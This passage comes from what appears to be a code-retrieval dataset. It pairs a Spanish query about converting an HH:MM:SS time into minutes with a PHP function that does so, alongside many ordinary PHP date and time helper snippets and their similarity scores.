(preg_match('@(\\d{1,2})[./-](\\d{1,2})[./-](\\d{4})@', $data, $m) > 0) {\n\t\t\t\t# pattern: mm-dd-yyyy\n\t\t\t\t$date = substr('00' . $m[1], -2) . '/' . substr('00' . $m[2], -2) . '/' . $m[3];\n\t\t\t} else if (preg_match('@^(\\d{7,15})$@', $data, $m) > 0) {\n\t\t\t\t# timestamp\n\t\t\t\t$date = date('m/d/Y', $data);\n\t\t\t} else {\n\t\t\t\t$date = $data;\n\t\t\t}\n\t\t\treturn $date;\n\t\t}", "public function date_format_pedido($data) {\n if($data!=\"\" || $data!=NULL) {\n return date(\"d/m/Y - H:i\", strtotime($data));\n }\n }", "function convertDate($date) {\n\tif ($date == '')\n\t\treturn false;\n\tlist ($d, $m, $Y, $H, $M, $S) = sscanf($date, \"%2d-%2d-%4d %2d:%2d:%2d\");\n\tif (!$H && !$M && !$S)\n\t\treturn strtotime(\"$m/$d/$Y\");\n\telse\n\t\treturn strtotime(\"$m/$d/$Y $H:$M:$S\");\n}", "function uwwtd_get_MM_DD_YYYY_from_YYYY_MM_DD_XXX($date) {\n $return = '';\n if (!empty($date)) {\n if (strlen($date) > 10) {\n $date = substr($date, 0, 10);\n }\n $dateObj = new DateTime($date);\n $return = $dateObj->format('m/d/Y');\n }\n return $return;\n}", "public function getDate() : ?string ;", "function ValidarFechas($fechaIngreso, $fechaInicio){\n\t// $fechaInicio = formatDateSeparador(\"d/m/Y\", $fechaInicio, '-' );\t\t\n\t\n\t// date_format($fechaInicio,\"d/m/Y\");\t\n\tif( !isFechaValida($fechaIngreso) ) return 'Fecha Ingreso Invalida '.$fechaIngreso;\n\tif( !isFechaValida($fechaInicio) ) return 'Fecha Inicio Invalida '.$fechaInicio;\n\t\n\t$dias = dateDiff($fechaIngreso, $fechaInicio);\n\tif($dias < 0) return 'Fecha Inicio de la exposicion, Debe ser mayor/igual a la fecha de Ingreso a la empresa. ';\n\t\n\t$hoy = date(\"d/m/Y\");\n\t$dias = dateDiff($fechaInicio, $hoy);\n\tif($dias < 0) return 'Fecha Inicio de la exposicion, Debe ser menor/igual a la fecha actual. ';\n\t\n\treturn '';\n\t\n}", "function cfdef_prepare_date_value_for_email( $p_value ) {\n\tif( $p_value != null ) {\n\t\treturn date( config_get( 'short_date_format' ), $p_value ) ;\n\t}\n}", "private function formatDate($date) {\n\t\tif ($date === '' || !$date) {\n\t\t\treturn;\n\t\t}\n\t\tif (DateTime::createFromFormat('Y-m-d', $date)) {\n\t\t\t$formatedDate = $date;\n }elseif (\\Zend_Date::isDate($date, \\Zend_Date::ISO_8601)) {\n $tmpDt = new \\Zend_Date($date, \\Zend_Date::ISO_8601);\n $formatedDate = $tmpDt->toString('Y-MM-dd');\n\t\t} else {\n\t\t\t$tmpDt = DateTime::createFromFormat('d/m/Y', $date);\n\t\t\t$formatedDate = $tmpDt->format('Y-m-d');\n\t\t}\n\t\treturn $formatedDate;\n\t}", "public static function checkfront_date_format() {\n return (string)static::config()->get('checkfront_date_format');\n }", "private function check_date($date_value)\n {\n $format = $this->settings['format'];\n $date_value = strval($date_value);\n $date_obj = new DateTime($date_value);\n\n $date_value = $date_obj->format($format);\n return $date_value;\n }", "static public function parseDate($date)\r\n {\r\n $date = date_create_from_format(self::DATE_FORMAT, $date);\r\n return false === $date ? null : $date;\r\n }", "function french_to_english_date($date, $format='Y-m-d') {\n\tif(\\DateTime::createFromFormat('d/m/Y', $date)) {\n\t\treturn \\DateTime::createFromFormat('d/m/Y', $date)->format($format);\n\t}\n\treturn null;\n}", "function DateTime($text,$format='')\r\n{\r\n\tif($text ==\"\" || $text ==\"0000-00-00 00:00:00\")\r\n\t\treturn \"---\";\r\n\r\n\tswitch($format)\r\n\t{\r\n\t\tcase \"0\":\r\n\t\t\treturn date('d M, Y',strtotime($text));\r\n\t\t\tbreak;\r\n\t\t//us formate\r\n\t\tcase \"1\":\r\n\t\t\treturn date('M j, Y',strtotime($text));\r\n\t\t\tbreak;\r\n\r\n\t\tcase \"2\":\r\n\t\t\treturn date('M j, y [G:i] ',strtotime($text));\r\n\t\t\tbreak;\r\n\r\n\t\tcase \"3\":\r\n\t\t\treturn date(\"M j, Y\", strtotime($text));\r\n\t\t\tbreak;\r\n\r\n\t\tcase \"4\":\r\n\t\t\treturn date('Y,n,j,G,',$text).intval(date('i',$text)).','.intval(date('s',$text));\r\n\t\t\tbreak;\r\n\r\n\t\tcase \"5\":\r\n\t\t\treturn date('l, F j, Y',$text);\r\n\t\t\tbreak;\r\n\r\n\t\tcase \"6\":\r\n\t\t\treturn date('g:i:s',$text);\r\n\t\t\tbreak;\r\n\r\n\t\tcase \"7\":\r\n\t\t\treturn date('D, F j, Y h:i A',strtotime($text));\t// Thu, March 26, 2010 08:34 PM\r\n\t\t\tbreak;\r\n\r\n\t\tcase \"8\":\r\n\t\t\t\t\t/*$dateval = @explode('/',$text);\r\n\t\t\t\t\t//$text = $dateval[0].\"/\".$dateval[1].\"/\".$dateval[2];\r\n\t\t\t\t\tif($_SESSION['SESSION_DATE'] == 'mm/dd/yy')\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$text = $dateval[2].\"-\".$dateval[0].\"-\".$dateval[1];\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$text = $dateval[2].\"-\".$dateval[1].\"-\".$dateval[0];\r\n\t\t\t\t\t}*/\r\n\t\t\t\t\t//echo date('Y-m-d',strtotime($text));exit;\r\n\t\t\treturn date('Y-m-d',strtotime($text));\r\n\t\t\tbreak;\r\n\t\tcase \"9\":\r\n\t\t\treturn date('F j, Y',strtotime($text));\r\n\t\t\tbreak;\r\n\t\tcase \"10\":\r\n\t\t\tif($text == '0000-00-00') {\r\n\t\t\t\treturn '---';\r\n\t\t\t} else {\r\n\t\t\t\treturn date('d/m/y',strtotime($text));\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase \"11\":\r\n\t\t\treturn date('m/d/y',strtotime($text));\r\n\t\t\tbreak;\r\n\t\tcase \"12\":\r\n\t\t\treturn date('H:i',strtotime($text));\r\n\t\t\tbreak;\r\n case \"13\":\r\n return date('l j, F Y',strtotime($text));\r\n break;\r\n case \"14\":\r\n return date(\"j M, Y\", strtotime($text));\r\n break;\r\n case \"15\":\r\n return date('h:i a',strtotime($text));\r\n break;\r\n case \"16\":\r\n\t\t\treturn date('Y-m-d H:i:s',strtotime($text));\r\n\t\t\tbreak;\r\n default :\r\n\t\t\treturn date('d/m/Y',strtotime($text));\r\n\t\t\tbreak;\r\n\t}\r\n}", "private function parseDate($date) {\n if (!empty($date)) {\n if (strpos($date, '-'))\n return new DateTime($date);\n return DateTime::createFromFormat('d/m/Y', $date);\n }\n return null;\n }", "function comprobar_fecha_inicio($fecha_entrada,$fecha_salida){\r\n // echo $fecha_salida;\r\n //echo $fecha_actual = strtotime(date(\"d-m-Y H:i:00\",time()));\r\n if( (empty($fecha_entrada))){\r\n return 'Las fechas no pueden estar vacias';\r\n }\r\n}", "function standardDateTimeFormat($format = 'Y-m-d H:i:s', $date_to_be_converted = '')\n{\n if (empty($date_to_be_converted)) {\n return date($format);\n } else {\n return date($format, $date_to_be_converted);\n }\n\n}", "public static function prepareDateForStmt($date) {\n\n if($date == \"\")\n {\n return null;\n }\n\n $preparedDate = DateTime::createFromFormat('d/m/Y', $date);\n return $preparedDate -> format('Y-m-d');\n\n\n\n }" ]
[ "0.68009865", "0.6774629", "0.66737413", "0.6604488", "0.6570432", "0.65020156", "0.64969707", "0.64527303", "0.64194965", "0.6411086", "0.64059347", "0.63852566", "0.63852566", "0.6384401", "0.6384401", "0.6384401", "0.6384401", "0.6384401", "0.6383842", "0.63713455", "0.63713455", "0.63263655", "0.6311637", "0.63102233", "0.62963504", "0.6283172", "0.6277062", "0.6236068", "0.6235481", "0.62209535", "0.61834645", "0.6150747", "0.61402565", "0.60854447", "0.6075142", "0.60631853", "0.6037994", "0.60352", "0.60241556", "0.6017366", "0.59910595", "0.5981975", "0.59734184", "0.59713954", "0.5965126", "0.5946771", "0.59455323", "0.5941618", "0.5938832", "0.59226906", "0.5920032", "0.5902297", "0.5896644", "0.5894404", "0.589158", "0.5890933", "0.58834636", "0.58812666", "0.5878367", "0.5873766", "0.5860078", "0.58581716", "0.5858066", "0.5858066", "0.58555675", "0.5843982", "0.5827732", "0.58233553", "0.5817299", "0.5813575", "0.5813575", "0.58077526", "0.58048207", "0.5794726", "0.57945514", "0.57934886", "0.5793441", "0.57759076", "0.57690334", "0.5765816", "0.5764807", "0.57645214", "0.57574594", "0.57560676", "0.5742593", "0.57395947", "0.5737281", "0.5730925", "0.5729596", "0.5725527", "0.5722723", "0.57131374", "0.5709462", "0.5708606", "0.5704293", "0.5692983", "0.56889546", "0.56857604", "0.56832963", "0.5674021", "0.5671432" ]
0.0
-1
Obtiene la cantidad de minutos expresados en formato time (HH:MM:SS)
public static function timeToMinutes($time){ $horaSplit = explode(":", $time); if( count($horaSplit) < 3 ) { $horaSplit[2] = 0; } // Pasamos los elementos a segundos $horaSplit[0] = $horaSplit[0] * 60 * 60; $horaSplit[1] = $horaSplit[1] * 60; return (($horaSplit[0] + $horaSplit[1] + $horaSplit[2]) / 60); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function tiemposHMS($min){\n $min=(int)$min;\n $heure=(int)($min/60);\n $minute=(($min/60)-$heure)*60; \n return $heure .':' . $minute; \n \n \n \n }", "function convertToHoursMins($time, $format = '%02d:%02d')\n{\n if ($time < 1) {\n return;\n }\n $hours = floor($time / 60);\n $minutes = ($time % 60);\n return sprintf($format, $hours, $minutes);\n}", "function convertToHoursMins($time, $format = '%02d:%02d') \n {\n if ($time < 1) {\n return;\n }\n $hours = floor($time / 60);\n $minutes = ($time % 60);\n $result['hours'] = $hours;\n $result['minutes'] = $minutes;\n return $result;\n }", "function m2h($mins) {\n if ($mins < 0)\n $min = abs($mins); \n else\n $min = $mins; \n \n // Arredonda a hora\n $h = floor($min / 60); \n $m = ($min - ($h * 60)) / 100; \n $horas = $h + $m; \n \n // Matemática da quinta série\n // Detalhe: Aqui também pode se usar o abs()\n if ($mins < 0)\n $horas *= -1; \n \n // Separa a hora dos minutos\n $sep = explode('.', $horas); \n $h = $sep[0]; \n if (empty($sep[1]))\n $sep[1] = 0; \n \n $m = $sep[1]; \n \n // Aqui um pequeno artifício pra colocar um zero no final\n if (strlen($m) < 2)\n $m = $m . 0; \n if($h > 0){\n\t\t\treturn sprintf('%2dh e %2dm', $h, $m);\n }else{\n\t\t\treturn sprintf('%2dm', $m);\n\t\t}\t\n}", "function timecheck ($time) {\n $min = 0;\n if($time->h >= 1) {\n $min += 60*$time->h;\n }\n $min += $time->i;\n if($min == 0) {\n return \"Passage en cours...\";\n } else {\n return $min.\" min\";\n }\n \n\n}", "function milisecond_to_time($time) {\n $hours = gmdate(\"H\", $time / 1000);\n $mins = gmdate(\"i\", $time / 1000);\n $seconds = gmdate(\"s\", $time / 1000);\n if($hours > 24) {\n $tags = Math.floor($hours/24);\n $hours = $hours % 24;\n }\n $res = \"$hours:$mins:$seconds\";\n return $res;\n }", "function counttime()\n{\n global $time;\n\n $arrHour = explode(\":\", $time);\n $arrTime2 = array(8, 10, 12, 14, 16, 18, 20, 22, 24);\n foreach ($arrTime2 as $intTime)\n {\n if ($arrHour[0] < $intTime)\n {\n $intWait = (($intTime - $arrHour[0]) * 60) - $arrHour[1];\n $intHours = floor($intWait / 60);\n $intMinutes = $intWait % 60;\n break;\n }\n }\n $arrTime = array('', '');\n if ($intHours < 1)\n {\n $arrTime[0] = '';\n }\n if ($intHours == 1)\n {\n $arrTime[0] = $intHours.T_HOUR;\n }\n if ($intHours > 1 && $intHours < 5)\n {\n $arrTime[0] = $intHours.T_HOURS2;\n }\n if ($intHours > 4)\n {\n $arrTime[0] = $intHours.T_HOURS;\n }\n if ($intMinutes < 1)\n {\n $arrTime[1] = '';\n }\n if ($intMinutes == 1)\n {\n $arrTime[1] = $intMinutes.T_MINUTE;\n }\n if (($intMinutes > 1 && $intMinutes < 5) || @ereg(\"^[2-5][2-4]*$\", $intMinutes))\n {\n $arrTime[1] = $intMinutes.T_MINUTES2;\n }\n if (($intMinutes > 4 && $intMinutes < 20) || @ereg(\"^[2-5][5-9]*$\", $intMinutes) || @ereg(\"^[2-5][0-1]*$\", $intMinutes))\n {\n $arrTime[1] = $intMinutes.T_MINUTES;\n }\n\n return $arrTime;\n}", "function countTime($connection, $sql_tiempo){\n $sql = mysqli_query($connection, $sql_tiempo);\n $horas = 0;\n $minutos = 0;\n while($row = mysqli_fetch_row($sql)){\n \n $timeTo = explode(':', $row[0]);\n \n $horas += intval($timeTo[0]);\n $minutos += intval($timeTo[1]);\n \n }\n $final_time = intval((($horas*60) + $minutos)/60).\":\".(($horas*60) + $minutos)%60;\n return $final_time;\n}", "public function getTimeInMinutes();", "public static function minutesToHours($minutos) {\n $sumHoras = $minutos;\n $hour = floor($sumHoras / 60);\n $sumHoras -= ($hour * 60);\n $min = floor($sumHoras);\n $sumHoras -= $min;\n $sec = round($sumHoras * 60);\n return (substr(str_pad($hour, 2, '0', STR_PAD_LEFT),0,2) . \n \":\" . substr(str_pad($min, 2, '0', STR_PAD_LEFT),0,2) . \n \":\" . substr(str_pad($sec, 2, '0', STR_PAD_LEFT),0,2));\n }", "function turnTotalMinsIntoTime($totalMins) {\n $mins = intval($totalMins % 60);\n $hour = round((($totalMins - $mins) / 60),0);\n $mins = strlen($mins) < 2 ? \"0\".$mins : $mins;\n return $hour.\":\".$mins;\n}", "function reservation_min_to_hours($value,$type=\"H:i\"){\n return gmdate($type,$value*60);\n}", "public function get_time_min() {\n return sprintf( '%02d', (int) edd_get_option( 'edd_commissions_payout_schedule_time_min', '' ) );\n }", "function horas_em_mintutos($hora)\n{\n\n if ($hora == '') {\n $hora = '00:00';\n }\n\n $h1 = explode(\":\", $hora);\n\n\n $minuto = $h1[1];\n $horas = $h1[0];\n\n\n if ($horas > 0) {\n\n if (substr($horas, 0, 1) == 0) {\n $horas = substr($horas, 1, 1);\n }\n\n $horas = $horas * 60;\n\n $minuto = $minuto + $horas;\n }\n\n\n\n\n return $minuto;\n}", "function calc_chegada($partida,$tempo){\n \n \n $aux=split(\":\",$partida);\n\t\t$p=mktime($aux[0],$aux[1],$aux[2]);\n\n\t\t$aux=split(\":\",$tempo);\n\t\t$t=$aux[0]*3600+$aux[1]*60+$aux[2];\n\t\t\n\t\t$c=strftime(\"%H:%M:%S\",$p+$t);\n\t\t//echo \"$p<br>\";\n\t\t//echo \"$t<br>\";\n // echo $t+$p . \"<br>\";\n //echo \"$c<br>\";\n\t\t\n\t\treturn $c;\n }", "function time_to_minutes ( $time ) {\n\t$h = (int) ( $time / 10000 );\n\t$m = (int) ( $time / 100 ) % 100;\n\t$num = $h * 60 + $m;\n\treturn $num;\n}", "function timeElapsed($sec){\n\n if( $sec <= 1 ) 'Agora mesmo';\n\n $date = [ 'ano' => 31536000,\n 'mes' => 2592000,\n 'dia' => 86400,\n 'hora' => 3600,\n 'minuto' => 60,\n 'segundo' => 1];\n \n foreach( $date as $name => $time ){\n $qtde = $sec / $time;\n if( $qtde >= 1 ) return 'há ' . floor( $qtde ) . ' ' . $name . ($qtde > 2 ? 's' : '');\n }\n\n }", "function convert_time ($time = '') {\n $str_time = '';\n\n $time_in_second = $time / 1000;\n\n $nb_minutes = $time_in_second / 60;\n $nb_seconds = $time_in_second % 60;\n\n $str_time = $nb_seconds.'s';\n\n if ($nb_minutes >= 60) {\n $nb_heures = $nb_minutes / 60;\n $nb_minutes = $nb_minutes % 60;\n $str_time = floor($nb_heures).'h '.$nb_minutes.'m '.$str_time;\t\t\t\t\t\t\t\t\t\n } else {\n $str_time = floor($nb_minutes).'m '.$str_time;\n }\t\t\n return $str_time;\n\n }", "function get_hh_mm($seconds) {\n $hours = floor($seconds / 60 / 60);\n $remaining_seconds = $seconds - ($hours * 60 * 60);\n $minutes = floor($remaining_seconds / 60);\n $f_hours = strlen($hours) == 1 ? \"0$hours\" : $hours;\n $f_minutes = strlen($minutes) == 1 ? \"0$minutes\" : $minutes;\n return \"$f_hours:$f_minutes\";\n}", "function tambahWaktu2($jam_mulai,$jam_selesai){\n//echo \"<br>\";\n//echo \"Jam Selesai : \".$jam_selesai='09:45:01';\n//echo \"<br>\";\n $times = array($jam_mulai,$jam_selesai);\n//$times = array('08:30:22','09:45:53');\n $seconds = 0;\n foreach ( $times as $time )\n {\n \tlist( $g, $i, $s ) = explode( ':', $time );\n \t$seconds += $g * 3600;\n \t$seconds += $i * 60;\n \t$seconds += $s;\n \n \n }\n $hours = floor( $seconds / 3600);\n if($hours<10){\n $hours='0'.$hours;\n }\n \n $seconds -= $hours * 3600;\n $minutes = floor( $seconds / 60);\n if($minutes<10){\n $minutes='0'.$minutes;\n }\n \n $seconds -= $minutes * 60; \n if($seconds<10){\n $seconds='0'.$seconds;\n } \n \n $waktu2=\"{$hours}:{$minutes}:{$seconds}\";\n return $waktu2;\n \n}", "function pasarATiempoFormato($tiempo) {\n $minutos = (int) ($tiempo / 3600);\n $milisegundos = (int) ($tiempo % 3600);\n\n $segundos = (int) ($milisegundos / 60);\n $milisegundos = (int) ($milisegundos % 60);\n\n return \"$minutos:$segundos:$milisegundos\";\n }", "function minutos2horas($mins) {\nif ($mins < 0)\n\t$min = abs($mins);\nelse\n\t$min = $mins;\n \n$h = floor($min / 60);\n$m = ($min - ($h * 60)) / 100;\n$horas = $h + $m;\n \nif ($mins < 0)\n\t$horas *= -1;\n\n$sep = explode('.', $horas);\n$h = $sep[0];\nif (empty($sep[1]))\n\t$sep[1] = 00;\n\t$m = $sep[1];\n \nif (strlen($m) < 2)\n\t$m = $m . 0;\nreturn $h.':'.$m;\n }", "function acrescenta_min($horario, $minutos){\n $time = new DateTime($horario);\n $time->add(new DateInterval('PT' . $minutos . 'M'));\n return $stamp = $time->format('Y-m-d H:i:s');\n}", "function formatTime($time){\n if(!$time){\n return '-';\n }\n $seconds = ($time/1000);//\n $minutes =floor($seconds / 60);\n $seconds = ($seconds % 60);//\n $hours = floor($seconds / 3600);\n\n return $hours.':'.$minutes.':'.$seconds;\n }", "function convert_time($total)\n{\n return sprintf('%2d:%2d:%2d', intval($total/3600), intval($total/60) % 60, $total % 60);\n}", "public static function pasarHorasaMinutos( $time)\n {\n // var minutos = d.getHours() * 60 + d.getMinutes();\n\n if($time instanceof DateInterval){\n\n $horas = (int)$time->format('%H');\n $minutos = (int)$time->format('%i');\n }else{\n\n $horas = (int)$time->format('H');\n $minutos = (int)$time->format('i');\n }\n\n\n\n $minutos_res = $horas*60 + $minutos;\n\n return $minutos_res;\n\n }", "function sec2qty($sec)\r\n{\r\n $seconds = $sec / 3600;\r\n return round($seconds, 2);\r\n}", "public function toMinutes($time) {\n \treturn intval($time / 60000) % 60;\n }", "public static function timeunit(/* Long */ $time) {\n if ($time == null)\n return '';\n $sec = (int) $time % 60;\n $min = (int) ($time / 60) % 60;\n $hours = (int) ($time / 3600);\n return \"$hours:\" . sprintf('%02d', $min) . ':' . sprintf('%02d', $sec);\n }", "function msecsToTime($content)\n{\n\t$secs = floor($content / 1000);\n\t$mins = floor($secs / 60);\n\t$hours = floor($mins / 60);\n\t$secs = $secs % 60;\n\t$mins = $mins % 60; \n\tif (strlen($mins) < 2) $mins = \"0\" . $mins;\n\treturn \"$hours\" . \":\" . \"$mins\";\n}", "public function calcularSueldo(){\n $this->horas_trabajadas * 540;\n }", "function Hora_prog($valor){\t\n\n return date(\"H:i\", strtotime($valor));\n\n}", "function time_to_secs($time)\n{\n$timeArr = array_reverse(split(\":\", $time));\n$seconds = 0;\n$vals = Array(1, 60, 3600, 86400);\nforeach($timeArr as $key => $value)\n{\nif(!isset($vals[$key]))\nbreak;\n$seconds += $value * $vals[$key];\n}\nreturn $seconds;\n}", "public static function minutesToHours($mins){\n \t\n\t $hours = floor($mins / 60);\n\t $minutes = $mins - ($hours * 60);\n\n\t if (!$minutes) {\n\t \t$minutes = \"00\";\n\t }elseif ($minutes <= 9) {\n\t \t$minutes = \"0\" . $minutes;\n\t }\n\n \treturn (\"$hours:$minutes\");\n \t\n }", "function dec_minutes($mins) {\r\n\t$dec_mins = $mins/60;\r\n\treturn $dec_mins;\r\n\t}", "function hms($duree = 0) \n\t{\n\t\t$heures = round($duree / 3600);\n\t\t$minutes = round(($duree - $heures * 3600) / 60);\n\t\t$secondes = round(($duree - $heures * 3600 - $minutes * 60) / 60);\n\n\t\treturn str_pad($heures, 2, \"0\", STR_PAD_LEFT).':'.str_pad($minutes, 2, \"0\", STR_PAD_LEFT).':'.str_pad($secondes, 2, \"0\", STR_PAD_LEFT);\n\t}", "function humanTiming ($time)\n {\n\n $time = time() - $time; // to get the time since that moment\n $time = ($time<1)? 1 : $time;\n $tokens = array (\n 31536000 => 'tahun',\n 2592000 => 'bulan',\n 604800 => 'minggu',\n 86400 => 'hari',\n 3600 => 'jam',\n 60 => 'menit',\n 1 => 'detik'\n );\n\n foreach ($tokens as $unit => $text) {\n if ($time < $unit) continue;\n $numberOfUnits = floor($time / $unit);\n return $numberOfUnits.' '.$text.(($numberOfUnits>1)?'s':'');\n }\n\n }", "static public function sessionTimeCalculation($datetime) {\n // la resta me da como resultado en segundos\n // div para 60 y obtengo minutos\n // div para 60 de nuevo y obtengo horas\n // div para 24 y obtengo dias\n return intval(strtotime($datetime) - strtotime('NOW'));\n }", "public static function asTimeLimit($value)\r\n {\r\n if (is_int($value) && $value > 0) {\r\n $value = yii::$app->formatter->format($value*60, 'duration');\r\n } else {\r\n $value = \"No Time Limit\";\r\n }\r\n return $value;\r\n }", "public function get_time_hour() {\n return sprintf( '%02d', (int) edd_get_option( 'edd_commissions_payout_schedule_time_hr', '' ) );\n }", "private function time_rule($time){\n $hour = floor($time/3600);//divisão retornando parte inteira.\n $hour_rest = fmod($time, 3600);//divisão retornando restante\n $min = floor($hour_rest/60); // calculo de minutos apartir do restante de horas\n $sec = fmod($hour_rest, 60); // calculos dos segundos\n return $this->number_format($sec,$min,$hour);\n }", "function timedifference_in_minutes($start_time, $end_time,$para=\"\") {\n /*$first_date = new DateTime(\"2012-11-30 \" . $start_time);\n $second_date = new DateTime(\"2012-12-21 \" . $end_time);\n $difference = $first_date->diff($second_date);\n //pr($difference);\n return $total_minutes = $difference->h * 60 + $difference->$i;*/\n $start_time = date(\"G:i\", strtotime($start_time));\n $end_time = date(\"G:i\", strtotime($end_time));\n $s_spit = explode(\":\",$start_time);\n $e_spit = explode(\":\",$end_time);\n\n $h1 = (int)($s_spit[0]);\n $m1 = (int)($s_spit[1]);\n\n $h2 = (int)($e_spit[0]);\n $m2 = (int)($e_spit[1]);\n\n //console.log($h1+' '+$m1+' '+$h2+' ' +$m2);\n $counter = 0;\n if(($h2-$h1)<0){\n for($i=$h1;$i<24;$i++) $counter++;\n for($i=1;$i<=$h2;$i++) $counter++;\n } else if(($h2-$h1)>0){\n $counter = $h2-$h1;\n } else {\n $counter = 24;\n }\n $minutes = 0;\n if(($m2-$m1)<0) {\n $minutes = 0-($m2-$m1);\n $counter--;\n } else {\n $minutes = $m2-$m1;\n }\n if ($para =='hours') {\n return ($counter . \" hrs : \" . $minutes . \" mins\");\n }\n return ($counter*60 + $minutes);\n \n}", "public function formatTime()\n { \n return sprintf('%02d:%02d:%02d', ($this->totaltime / 3600), \n ($this->totaltime / 60 % 60), $this->totaltime % 60); \n }", "function convert_seconds_to_hour($time){\n echo \"Time diff in seconds: \" . $time . \"<br>\";\n $numHours = $time / 3600;\n echo $numHours;\n echo \"<br>\";\n\n echo \"Time diff in hours: \" . (int)$numHours . \"<br>\";\n $numMinutes = ($time % 3600) / 60;\n echo $numMinutes;\n echo \"<br>\";\n\n echo \"Time diff in minutes: \" . (int)$numMinutes . \"<br>\";\n $numSeconds = ($time % 3600) % 60;\n echo \"Time diff in seconds: \" . $numSeconds . \"<br>\";\n}", "function sec2time ($sec) {\n $sec = (int) $sec;\n $time = ''; $h = 0;\n if ($sec >= 3600 ) {\n $h = (int) ($sec / 3600);\n if ($h > 0) { $time .= $h.':'; }\n $sec = $sec - $h*3600;\n }\n $m = (int) ($sec / 60);\n if ($h == 0) { $time .= $m.':'; }\n else { $time .= sprintf(\"%02d\", $m).':'; };\n if ($m > 0) { $sec = $sec - $m*60; }\n $time .= sprintf(\"%02d\", $sec);\n return $time;\n}", "function minutos_transcurridos($fecha_i,$fecha_f)\n{\n$minutos = (strtotime($fecha_i)-strtotime($fecha_f))/60;\n$minutos = abs($minutos); $minutos = floor($minutos);\nreturn $minutos;\n}", "public function aMinutos($horario){\n $horas = (int)substr($horario,0,2);\n $mins = (int)substr($horario,3,2);\n $enMinutos = $horas*60+$mins;\n\n return $enMinutos;\n }", "function convertTime($number)\n{\n $str_arr = explode('.', $number);\n\n $num = ($str_arr[0]);\n //floatval\n $point = ($str_arr[1]);\n $count = strlen($str_arr[1]);\n\n if ($count == 1 && $point < 10) {\n $point = $point * 10;\n }\n\n while ($point >= 60) {\n $num = $num + 1;\n $point = $point - 60;\n }\n $t = floatval($num . \".\" . $point);\n\n return $t;\n}", "private function GetTimeHHMM() : string {\n\t\t\t$dt = new DateTime();\n\t\t\t$dtz = new DateTimeZone(\"EUROPE/Berlin\");\n\t\t\t$dt->setTimezone($dtz);\n\t\t\treturn $dt->format(\"H:i\");\n\t\t}", "static function string_format_time($time){\r\n $h = intval($time / 60);\r\n $min = $time % 60;\r\n $ret = '';\r\n\r\n if($h > 0){\r\n if($h == 1){\r\n $ret .= $h.' heure ';\r\n } else {\r\n $ret .= $h.' heures ';\r\n }\r\n }\r\n\r\n if($min > 0){\r\n $ret .= $min . ' minutes';\r\n }\r\n\r\n if($time == 0){\r\n $ret .= '0 heure';\r\n }\r\n\r\n return $ret;\r\n }", "function format_time($t,$f=':'){\n\t\t//return ($t< 0 ? '-' : '') . sprintf(\"%02d%s%02d%s%02d\", floor(abs($t)/3600), $f, (abs($t)/60)%60, $f, abs($t)%60);\n\t\t\n\t\t$seconds = abs($t)%60;\n\t\t$minutes = (abs($t)/60)%60;\n\t \n\t\tif($seconds>30){\n\t\t\t$minutes = $minutes+1;\n\t\t}\n\t\treturn sprintf(\"%02d\",$minutes);//($t< 0 ? '-' : '') . sprintf(\"%02d%s%02d%s%02d\", floor(abs($t)/3600), $f, (abs($t)/60)%60, $f, abs($t)%60);\n }", "public function toHours($time) {\n \treturn intval($time / 3600000) % 60;\n }", "function formatTime($sec){\n if($sec > 100){\n $sec /= 60;\n if($sec > 100){\n $sec /= 60;\n return number_format($sec) . \" hr\";\n }\n return number_format($sec) . \" min\";\n }\n return number_format($sec) . \" sec\";\n}", "function parse_minutes_to_hours($minutes) {\n $h = floor($minutes / 60);\n $m = $minutes % 60;\n $m = $m < 10 ? '0' . $m : $m;\n\n return $h . \"h\" . $m;\n}", "function interval_date($init,$finish)\n {\n $diferencia = strtotime($finish) - strtotime($init);\n \n //comprobamos el tiempo que ha pasado en segundos entre las dos fechas\n //floor devuelve el número entero anterior, si es 5.7 devuelve 5\n if($diferencia < 60){\n $tiempo = \"Hace \" . floor($diferencia) . \" segundos\";\n }else if($diferencia > 60 && $diferencia < 3600){\n $tiempo = \"Hace \" . floor($diferencia/60) . \" minutos'\";\n }else if($diferencia > 3600 && $diferencia < 86400){\n $tiempo = \"Hace \" . floor($diferencia/3600) . \" horas\";\n }else if($diferencia > 86400 && $diferencia < 2592000){\n $tiempo = \"Hace \" . floor($diferencia/86400) . \" días\";\n }else if($diferencia > 2592000 && $diferencia < 31104000){\n $tiempo = \"Hace \" . floor($diferencia/2592000) . \" meses\";\n }else if($diferencia > 31104000){\n $tiempo = \"Hace \" . floor($diferencia/31104000) . \" años\";\n }else{\n $tiempo = \"Error\";\n }\n return $tiempo;\n }", "public static function renderTime($time)\n {\n return floor($time / 60) . \" min \" . $time % 60 . \" secondes\";\n }", "function dec_time()\n{\n $ds = 86400; // total seconds in day\n $dt = microtime(true) - mktime(0,0,0);\n\n $hs = $ds / pow(10,1);\n $ms = $ds / pow(10,3);\n $ss = $ds / pow(10,5);\n\n $hour = floor($dt/$hs);\n $min = floor($dt/$ms) - ($hour * 100);\n $sec = floor($dt/$ss) - ($hour * 10000) - ($min * 100);\n //$usec = floor($dt/$us) - ($hour * 10000) - ($min * 100);\n\n return sprintf('%01d',$hour).'h '.sprintf('%02d',$min).'m '.sprintf('%02d',$sec).'s';\n}", "public function getTimeInQueue($time){\n\t$desvioPadrao = 0.5;\n\t$tempoDePico = 12.5;\n\t$desvioPadrao = 0.5;\n\t$expoente = pow(($time - $tempoDePico), 2);\n\t$expoente /= $desvioPadrao;\n\t$tempoMaximoNaFila = 40;\n\t$tempoNaFila = $tempoMaximoNaFila*pow(M_E, -$expoente);\n\t\treturn $tempoNaFila;\n\t}", "function convertir_hora_militar($seg_ini) {\n\n\t\t\t$horas = floor($seg_ini/3600);\n\t\t\t$minutos = floor(($seg_ini-($horas*3600))/60);\n\t\t\t\t\t\t\t\n\t\t\treturn $horas.\":\".$minutos;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t}", "function divHoras($hora,$registros) {\n\t$h1=substr($hora,0,-3);\n $m1=substr($hora,3,2);\n $minutos=(($h1*60)*60)+($m1*60);\n $dif=$minutos/$registros;\n $difm=floor($dif/60);\n\treturn $difm;\n\t \n}", "function getTimeS($timestamp){\n\t\tif ($timestamp > 60*60*24){\n\t\t\t$timestamp = $timestamp % (60*60*24) + 2*(60*60);\n\t\t}\n\t\t$hours = intval($timestamp / (60*60));\n\t\t$minutes = 